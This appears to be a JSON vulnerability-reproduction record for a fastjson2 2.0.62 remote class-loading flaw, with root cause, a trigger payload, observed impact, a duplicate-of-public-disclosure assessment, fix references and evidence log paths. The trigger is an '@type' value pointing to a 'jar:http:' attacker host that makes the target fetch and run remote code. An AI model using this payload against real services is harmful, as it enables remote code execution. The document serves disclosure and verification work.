{
  "source": {
    "repository": "https://github.com/alibaba/fastjson2.git",
    "commit_sha": "7ddfd76e03bd263f4dd3a33dd403bd2387d2c801",
    "version": "2.0.62",
    "runtime": "Eclipse Temurin JDK 1.8.0_452; Spring Boot loader 2.7.18 LaunchedURLClassLoader; Docker internal network"
  },
  "finding": {
    "title": "fastjson2 default polymorphic parsing permits remote class loading and initialization",
    "root_cause": "ObjectReaderSeeAlso internally enables SupportAutoType; an unknown attacker-controlled subtype falls through to ObjectReaderProvider and TypeUtils, which pass a raw URL-shaped name to the thread context class loader before assignability enforcement.",
    "trigger": "HTTP JSON {\"pet\":{\"@type\":\"jar:http:..artifact:8000.probe!.POC\"}} parsed by JSON.parseObject(body, Request.class), where Request.pet has an @JSONType(seeAlso) polymorphic base, under Spring Boot LaunchedURLClassLoader on JDK 8.",
    "observed_impact": "The target fetched an attacker-controlled JAR, defined an attacker-authored subclass, ran its static initializer, and wrote a unique target-local marker in two fresh runtimes."
  },
  "novelty": {
    "relationship": "duplicate",
    "advisory_status": "found",
    "public_disclosure_status": "explicit",
    "fix_reference": "https://github.com/alibaba/fastjson2/pull/7703 (supersedes closed https://github.com/alibaba/fastjson2/pull/7695; no released fixed version through 2.0.62)",
    "compared_references": [
      "https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA",
      "https://github.com/alibaba/fastjson2/issues/7702",
      "https://github.com/alibaba/fastjson2/pull/7695",
      "https://github.com/alibaba/fastjson2/pull/7703",
      "https://github.com/dinosn/fastjson-jsontype-rce-lab/tree/master/fastjson2",
      "https://github.com/alibaba/fastjson2/releases"
    ],
    "rationale": "Chaitin publicly disclosed a fastjson2 RCE before this run. The public dinosn lab explicitly documents the same ObjectReaderSeeAlso default-polymorphic trigger, raw @type-to-ClassLoader mechanism, Spring Boot jar:http interpretation, JDK 8 code-initialization result, and SafeMode control. This run independently validates that public path and extends current-runtime version evidence across 2.0.0-2.0.62; it is not a new discovery."
  },
  "evidence": {
    "positive_runs": [
      "logs/repro/run1/proof_summary.log",
      "logs/repro/run1/positive_marker.json",
      "logs/repro/run1/positive_artifact.log",
      "logs/repro/run1/positive_target.log",
      "logs/repro/run2/proof_summary.log",
      "logs/repro/run2/positive_marker.json",
      "logs/repro/run2/positive_artifact.log",
      "logs/repro/run2/positive_target.log",
      "logs/repro/version_sweep.tsv"
    ],
    "negative_control": "logs/repro/run2/safemode_marker.json"
  }
}